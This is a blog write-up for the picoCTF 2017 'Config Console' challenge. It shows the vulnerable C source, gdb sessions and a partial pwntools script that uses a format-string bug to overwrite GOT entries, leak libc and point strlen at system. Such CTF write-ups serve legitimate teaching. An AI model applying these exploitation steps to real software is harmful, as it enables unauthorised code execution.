-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpicoCTF_lvl3ConfigConsole.html
557 lines (497 loc) · 49.3 KB
/
picoCTF_lvl3ConfigConsole.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="author" content="F3real" />
<meta name="keywords" content="ctf,pwnable,binary exploitation,GOT" />
<meta name="description" content="How to solve picoCTF Lvl3 Config Console" />
<title>PicoCTF 2017 Lvl3 Config Console - EnSec blog</title>
<link href="https://f3real.github.io/theme/css/combined.css" rel="stylesheet" />
<!-- Feeds -->
</head>
<body data-spy="scroll" data-target="#scrollspy">
<div id="wrapper">
<!-- Sidebar -->
<nav id="sidebar-wrapper-small" class="twitchy-background">
<ul id="accordion-small" class="sidebar-nav sidebar-nav-small">
<li>
<a href="https://f3real.github.io" title="EnSec blog" class="collapsed">
<span class="fas fa-home"></span>
</a>
</li>
<li class="nav-divider"></li>
<li>
<a href="https://f3real.github.io/archives.html" title="Recent Articles" class="collapsed">
<span class="fas fa-th-list"></span>
</a>
</li>
<li class="nav-divider"></li>
<li>
<a data-toggle="collapse" data-parent="#accordion-small" href="#collapse-social-small" title="Social" class="collapsed">
<i class="fas fa-users padding-small"></i>
</a>
</li>
<li class="panel anti-panel"><ul id="collapse-social-small" class="collapse ">
<li>
<a href="https://github.com/F3real" title="Github"><i class="fab fa-github-square padding-small"></i></a>
</li>
<li>
<a href="https://www.linkedin.com/in/stefan-ili%C4%87-61a004111" title="Linkedin"><i class="fab fa-linkedin padding-small"></i></a>
</li>
</ul></li>
<li class="nav-divider"></li>
<li>
<a href="#" title="Back to top" class="collapsed">
<span class="fas fa-arrow-up"></span>
</a>
</li>
</ul>
</nav>
<nav id="sidebar-wrapper" class="twitchy-background">
<ul id="accordion" class="sidebar-nav">
<li class="sidebar-brand">
<a href="https://f3real.github.io/">
<span class="fas fa-home padding-small"></span>
EnSec blog
</a>
</li>
<li>
<a href="https://f3real.github.io/archives.html">
<span class="fas fa-th-list padding-small"></span>
Archives
</a>
</li>
<li class="nav-divider"></li>
<li>
<a data-toggle="collapse" data-parent="#accordion" href="#collapse-social">
<i class="fas fa-users padding-small"></i>
Contact
</a>
</li>
<li class="panel anti-panel"><ul id="collapse-social" class="sidebar_submenu collapse ">
<li>
<a href="https://github.com/F3real" title="Github">
<i class="fab fa-github-square padding-small"></i>
Github
</a>
</li>
<li>
<a href="https://www.linkedin.com/in/stefan-ili%C4%87-61a004111" title="Linkedin">
<i class="fab fa-linkedin padding-small"></i>
Linkedin
</a>
</li>
</ul></li>
<li class="nav-divider"></li>
<li class="panel anti-panel"><ul id="collapse-pages" class="sidebar_submenu collapse ">
</ul></li>
<li class="nav-divider"></li>
<li>
<a data-toggle="collapse" data-parent="#accordion" href="#collapse-categories">
<i class="fas fa-folder-open padding-small"></i>
Categories
</a>
</li>
<li class="panel anti-panel"><ul id="collapse-categories" class="sidebar_submenu collapse ">
<li class="active">
<a href="https://f3real.github.io/category/ctf.html">
<i class="fas fa-folder-open padding-small"></i>
ctf
<span class="badge badge-secondary float-right categorybadge">28</span>
</a>
</li>
<li >
<a href="https://f3real.github.io/category/misc.html">
<i class="fas fa-folder-open padding-small"></i>
misc
<span class="badge badge-secondary float-right categorybadge">15</span>
</a>
</li>
<li >
<a href="https://f3real.github.io/category/reversing.html">
<i class="fas fa-folder-open padding-small"></i>
reversing
<span class="badge badge-secondary float-right categorybadge">6</span>
</a>
</li>
<li >
<a href="https://f3real.github.io/category/tutorial.html">
<i class="fas fa-folder-open padding-small"></i>
tutorial
<span class="badge badge-secondary float-right categorybadge">5</span>
</a>
</li>
</ul></li>
</ul>
</nav>
<!-- /#sidebar-wrapper -->
<!-- open/close sidebar -->
<button onclick="toggleMenu();return false;" class="btn btn-primary" id="menu-toggle">
<span id="right-arrow" class="fas fa-chevron-right" title="expand sidebar"></span>
<span id="left-arrow" class="fas fa-chevron-left" title="minimize sidebar"></span>
</button>
<!-- /open/close sidebar -->
<!-- Page Content -->
<div id="page-content-wrapper">
<div class="container-fluid">
<section id="content">
<article>
<div class="row">
<div class="col-lg-10">
<header class="page-header">
<h1>
<a href="https://f3real.github.io/picoCTF_lvl3ConfigConsole.html"
rel="bookmark"
title="Permalink to PicoCTF 2017 Lvl3 Config Console">
PicoCTF 2017 Lvl3 Config Console
</a>
<small>
<div class="post-info">
<div class="publish-info-block">
<small>
<span class="published">
<i class="fa fa-calendar padding-small"></i><time datetime="2018-08-08T10:02:00+02:00"> Wed 08 August 2018</time>
</span>
<span class="category">
<i class="fa fa-folder-open padding-small"></i><a href="https://f3real.github.io/category/ctf.html">ctf</a>
</span>
<span class="tags">
<i class="fa fa-tags padding-small"></i>
<a href="https://f3real.github.io/tag/ctf.html">ctf</a> / <a href="https://f3real.github.io/tag/pwnable.html">pwnable</a> / <a href="https://f3real.github.io/tag/binary-exploitation.html">binary exploitation</a> / <a href="https://f3real.github.io/tag/got.html">GOT</a> </span>
</small>
</div>
</div><!-- /.post-info --> </small>
</h1>
</header>
</div>
</div>
<div class="row">
<div class="col-lg-10">
<div class="entry-content">
<p>This is first binary exploitation challenge on level 3. Like usual we are given binary and source code, so let’s take a look:</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdlib.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdio.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><inttypes.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdint.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdbool.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><string.h></span>
<span class="kt">FILE</span><span class="w"> </span><span class="o">*</span><span class="n">log_file</span><span class="p">;</span>
<span class="kt">void</span><span class="w"> </span><span class="nf">append_command</span><span class="p">(</span><span class="kt">char</span><span class="w"> </span><span class="n">type</span><span class="p">,</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">data</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">fprintf</span><span class="p">(</span><span class="n">log_file</span><span class="p">,</span><span class="w"> </span><span class="s">"%c %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">type</span><span class="p">,</span><span class="w"> </span><span class="n">data</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span><span class="w"> </span><span class="nf">set_login_message</span><span class="p">(</span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">message</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">message</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"No message chosen</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Login message set!</span><span class="se">\n</span><span class="s">%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">message</span><span class="p">);</span>
<span class="w"> </span><span class="n">append_command</span><span class="p">(</span><span class="sc">'l'</span><span class="p">,</span><span class="w"> </span><span class="n">message</span><span class="p">);</span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span><span class="w"> </span><span class="nf">set_exit_message</span><span class="p">(</span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">message</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">message</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"No message chosen</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Exit message set!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="n">message</span><span class="p">);</span>
<span class="w"> </span><span class="n">append_command</span><span class="p">(</span><span class="sc">'e'</span><span class="p">,</span><span class="w"> </span><span class="n">message</span><span class="p">);</span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span><span class="w"> </span><span class="nf">set_prompt</span><span class="p">(</span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">prompt</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">prompt</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"No prompt chosen</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">strlen</span><span class="p">(</span><span class="n">prompt</span><span class="p">)</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="mi">10</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Prompt too long</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Login prompt set to: %10s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">prompt</span><span class="p">);</span>
<span class="w"> </span><span class="n">append_command</span><span class="p">(</span><span class="sc">'p'</span><span class="p">,</span><span class="w"> </span><span class="n">prompt</span><span class="p">);</span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span><span class="w"> </span><span class="nf">print_help</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span>
<span class="w"> </span><span class="s">"You can:</span><span class="se">\n</span><span class="s">"</span>
<span class="w"> </span><span class="s">" login <login-message> set the login message</span><span class="se">\n</span><span class="s">"</span>
<span class="w"> </span><span class="s">" exit <exit-message> set the exit message</span><span class="se">\n</span><span class="s">"</span>
<span class="w"> </span><span class="s">" prompt <prompt> set the command prompt</span><span class="se">\n</span><span class="s">"</span>
<span class="w"> </span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span><span class="w"> </span><span class="nf">loop</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">buf</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="nb">true</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Config action: "</span><span class="p">);</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">result</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">fgets</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="w"> </span><span class="mi">1024</span><span class="p">,</span><span class="w"> </span><span class="n">stdin</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">result</span><span class="p">)</span><span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">type</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">strtok</span><span class="p">(</span><span class="n">result</span><span class="p">,</span><span class="w"> </span><span class="s">" "</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">type</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">continue</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">arg</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">strtok</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="k">switch</span><span class="w"> </span><span class="p">(</span><span class="n">type</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'l'</span><span class="p">:</span>
<span class="w"> </span><span class="n">set_login_message</span><span class="p">(</span><span class="n">arg</span><span class="p">);</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'e'</span><span class="p">:</span>
<span class="w"> </span><span class="n">set_exit_message</span><span class="p">(</span><span class="n">arg</span><span class="p">);</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'p'</span><span class="p">:</span>
<span class="w"> </span><span class="n">set_prompt</span><span class="p">(</span><span class="n">arg</span><span class="p">);</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">default</span><span class="o">:</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Command unrecognized.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="cm">/* Fallthrough */</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'h'</span><span class="p">:</span>
<span class="w"> </span><span class="n">print_help</span><span class="p">();</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">argc</span><span class="p">,</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">**</span><span class="n">argv</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">argc</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">2</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span><span class="w"> </span><span class="s">"Requires log file</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">log_file</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">fopen</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="w"> </span><span class="s">"a"</span><span class="p">);</span>
<span class="w"> </span><span class="n">setbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">);</span>
<span class="w"> </span><span class="n">loop</span><span class="p">();</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>We have format string vulnerability in <code>set_exit_message</code>. But the problem is that programs closes after executing it once, and we can’t make the exploit work in a single run. To work around this we can overwrite <strong>GOT </strong>entry of exit function. First, we need to find the address of exit:</p>
<div class="highlight"><pre><span></span><code> pwndbg> break exit@plt
Breakpoint 1 at 0x400730
pwndbg> disassemble 0x400730
0x400730 <exit@plt> jmp qword ptr [rip + 0x200b22] <0x601258>
...
pwndbg> x /xw 0x601258 //GOT address of exit
0x601258 <[email protected]>: 0x00400736
</code></pre></div>
<p>In the snippet above we set a breakpoint on the address of <code>exit@plt</code> and then we examine memory it points to.</p>
<p>If you are not familiar with how <strong>GOT/PLT</strong> works, basically library functions are not called directly. Instead in <strong>.txt</strong> section we have calls to <code>func@plt</code> which call real functions using the address in <strong>GOT</strong>. <strong>PLT</strong> function addresses are fixed in <strong>.txt</strong> section while <strong>GOT</strong> entries are resolved at run-time. This enables things like dynamic loading and <strong>ASLR</strong>. The first time function is called, <strong>GOT</strong> will contain the only address of <strong>PLT</strong> resolver code which is tasked with getting the real address of function and updating <strong>GOT</strong>. Subsequent calls will read <strong>GOT</strong> value and call the function directly.</p>
<p>We also need to find the address of <code>loop</code> function.</p>
<div class="highlight"><pre><span></span><code> pwndbg> p loop
$1 = {<text variable, no debug info>} 0x4009bd <loop>
</code></pre></div>
<p>Since address of <code>loop</code> is similar to value found in GOT entry for <code>exit</code> we don’t have to overwrite everything. It is enough to overwrite 2 lower bytes. But before we overwrite it, we need to find how to access data we put on stack. We can achieve this with <code>%p</code>(using <code>%x</code> is not good way to display memory addresses, it works on 32 bit but since it is size of unsigned int it will fail on 64 bit binaries). Using <code>'exit'.ljust(8) + 'A' *8 + '.%p' * 20</code> we get:</p>
<div class="highlight"><pre><span></span><code>AAAAAAAA.0x7f0c3ea13323.0x7f0c3ea147a0.0x7f0c3e748c00.0x7f0c3ea147a0.0x70252e70252e7025.(nil).0x7ffeb5112115.0x7ffeb5112520.0x400aa6.(nil).0x7ffeb5112110.0x7ffeb5112110.0x7ffeb5112115.0x2020200074697865.0x4141414141414141.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70
</code></pre></div>
<p><code>ljust</code> is used to align data we put on stack won’t be split between two memory addresses. From the output, we see that our input is in 15th position. <code>$</code> enables us to read from a specified position on the stack, we can use this to verify if we have the right position:</p>
<div class="highlight"><pre><span></span><code>'exit'.ljust(8) + 'A' *8 + '.%15$p'
</code></pre></div>
<p>Now we are going to overwrite <code>exit</code> <strong>GOT</strong> entry with <code>loop</code> address. To overwrite only 2 lower bytes we are going to use <code>%hn</code> specifier.</p>
<div class="highlight"><pre><span></span><code>'exit'.ljust(8) + '%{0}c|%17$hn|'.format(2493 - 6).rjust(16) + exit_got
</code></pre></div>
<p>2 lower bytes of <code>loop</code> address are <code>0x09bd</code> which is 2493 decimal, but we deduct 6 since some extra characters get printed. To fine-tune the exact number we just use <strong>gdb</strong> and check for value after we overwrite. Also, we put <code>exit</code> <strong>GOT</strong> address on the end since it contains a null byte which stops <code>printf</code>.</p>
<p>Now the program is no longer exiting after running a single command, great :D. We can use this to leak data we need to finish our exploit. First, we need to get libc base address. We can do this by finding offset of some function in libc and leaking resolved address of the same function during run-time, deducting offset will give us libc base address.</p>
<p>Let’s get address of <code>fgets</code> <strong>GOT</strong> entry:</p>
<div class="highlight"><pre><span></span><code> pwndbg> info functions fgets@plt
All functions matching regular expression "fgets@plt":
Non-debugging symbols:
0x00000000004006e0 fgets@plt
pwndbg> disassemble 0x00000000004006e0
Dump of assembler code for function fgets@plt:
0x004006e0 <+0>: jmp QWORD PTR [rip+0x200b4a] # 0x601230
....
End of assembler dump.
</code></pre></div>
<p>Next, we have to find offsets of <code>fgets</code> and <code>system</code> in libc.</p>
<div class="highlight"><pre><span></span><code><span class="err">$</span><span class="n">readelf</span><span class="w"> </span><span class="o">-</span><span class="n">s</span><span class="w"> </span><span class="p">.</span><span class="o">/</span><span class="n">libc</span><span class="p">.</span><span class="n">so</span><span class="mf">.6</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">grep</span><span class="w"> </span><span class="k">system</span>
<span class="mi">1337</span><span class="err">:</span><span class="w"> </span><span class="mi">0000000000041490</span><span class="w"> </span><span class="mi">45</span><span class="w"> </span><span class="n">FUNC</span><span class="w"> </span><span class="n">WEAK</span><span class="w"> </span><span class="k">DEFAULT</span><span class="w"> </span><span class="mi">12</span><span class="w"> </span><span class="k">system</span><span class="nb">@@GLIBC_2</span><span class="mf">.2.5</span>
<span class="p">....</span>
<span class="mi">784</span><span class="err">:</span><span class="w"> </span><span class="mf">000000000006e990</span><span class="w"> </span><span class="mi">424</span><span class="w"> </span><span class="n">FUNC</span><span class="w"> </span><span class="n">WEAK</span><span class="w"> </span><span class="k">DEFAULT</span><span class="w"> </span><span class="mi">13</span><span class="w"> </span><span class="n">fgets</span><span class="nb">@@GLIBC_2</span><span class="mf">.2.5</span>
</code></pre></div>
<p>We have to use same libc as one on target system since offsets can be different (or at least check them on similar system). Now we have to leak address of <code>fgets</code>:</p>
<div class="highlight"><pre><span></span><code>'exit'.ljust(8) + '|%16$s|'.rjust(8) + fgets_got
</code></pre></div>
<p><code>%s</code> specifier will read data from the given address as a string. And now we have everything we need, the last step is to overwrite <code>strlen</code> (just since it's called only in <code>set_prompt</code>) with the address of <code>system</code> (system offset + libc base).</p>
<p>Pwntools script implementing all of the steps:</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="c1">#Consts:</span>
<span class="n">fgets_got</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x601230</span><span class="p">)</span>
<span class="n">exit_got</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x601258</span><span class="p">)</span>
<span class="n">strlen_got</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x601210</span><span class="p">)</span>
<span class="n">fgets_offset</span> <span class="o">=</span> <span class="mh">0x69df0</span>
<span class="n">system_offset</span> <span class="o">=</span> <span class="mh">0x41490</span>
<span class="n">env</span> <span class="o">=</span> <span class="p">{</span><span class="s2">"LD_PRELOAD"</span><span class="p">:</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">getcwd</span><span class="p">(),</span> <span class="s2">"./libc.so.6"</span><span class="p">)}</span>
<span class="n">format_string_1</span> <span class="o">=</span> <span class="s2">"A"</span><span class="o">*</span><span class="mi">8</span> <span class="o">+</span> <span class="s2">".%p"</span> <span class="o">*</span> <span class="mi">20</span> <span class="c1">#explore stack</span>
<span class="n">format_string_2</span> <span class="o">=</span> <span class="s2">"A"</span><span class="o">*</span><span class="mi">8</span> <span class="o">+</span> <span class="s2">".%15$p"</span> <span class="c1">#read our input</span>
<span class="n">format_string_3</span> <span class="o">=</span><span class="s2">"|%16$p|"</span><span class="o">.</span><span class="n">rjust</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="n">exit_got</span> <span class="c1">#read address we put</span>
<span class="k">def</span> <span class="nf">overwrite_exit</span><span class="p">(</span><span class="n">r</span><span class="p">):</span>
<span class="c1">#loop address 0x4009bd</span>
<span class="c1">#2493 value of last 16 bits of loop address, 2499 is value we get, 6 difference, so we deduct </span>
<span class="n">format_string_4</span> <span class="o">=</span><span class="s2">"%</span><span class="si">{0}</span><span class="s2">c|%17$hn|"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="mi">2493</span> <span class="o">-</span> <span class="mi">6</span><span class="p">)</span><span class="o">.</span><span class="n">rjust</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span> <span class="o">+</span> <span class="n">exit_got</span>
<span class="c1">#use ljust to avoid problems with stack aligment</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s2">"exit"</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="n">format_string_4</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="c1">#gdb.attach(r)</span>
<span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'Config action: Exit message set!'</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'Config action:'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">overwrite_strlen</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">system_addr</span><span class="p">):</span>
<span class="n">addr_part_1</span> <span class="o">=</span> <span class="n">system_addr</span> <span class="o">&</span> <span class="mh">0xFFFF</span>
<span class="n">format_s1</span> <span class="o">=</span><span class="s2">"%</span><span class="si">{0}</span><span class="s2">c|%17$hn|"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">addr_part_1</span><span class="p">)</span> <span class="o">-</span> <span class="mi">5</span><span class="p">)</span><span class="o">.</span><span class="n">rjust</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span> <span class="o">+</span> <span class="n">strlen_got</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s2">"exit"</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="n">format_s1</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'Config action:'</span><span class="p">)</span>
<span class="n">addr_part_2</span> <span class="o">=</span> <span class="p">(</span><span class="n">system_addr</span> <span class="o">>></span> <span class="mi">16</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0xFFFF</span>
<span class="n">format_s2</span> <span class="o">=</span><span class="s2">"%</span><span class="si">{0}</span><span class="s2">c|%17$hn|"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">addr_part_2</span><span class="p">)</span> <span class="o">-</span> <span class="mi">5</span><span class="p">)</span><span class="o">.</span><span class="n">rjust</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x601210</span><span class="o">+</span><span class="mi">2</span><span class="p">)</span> <span class="c1">#modify address we put</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s2">"exit"</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="n">format_s2</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'Config action:'</span><span class="p">)</span>
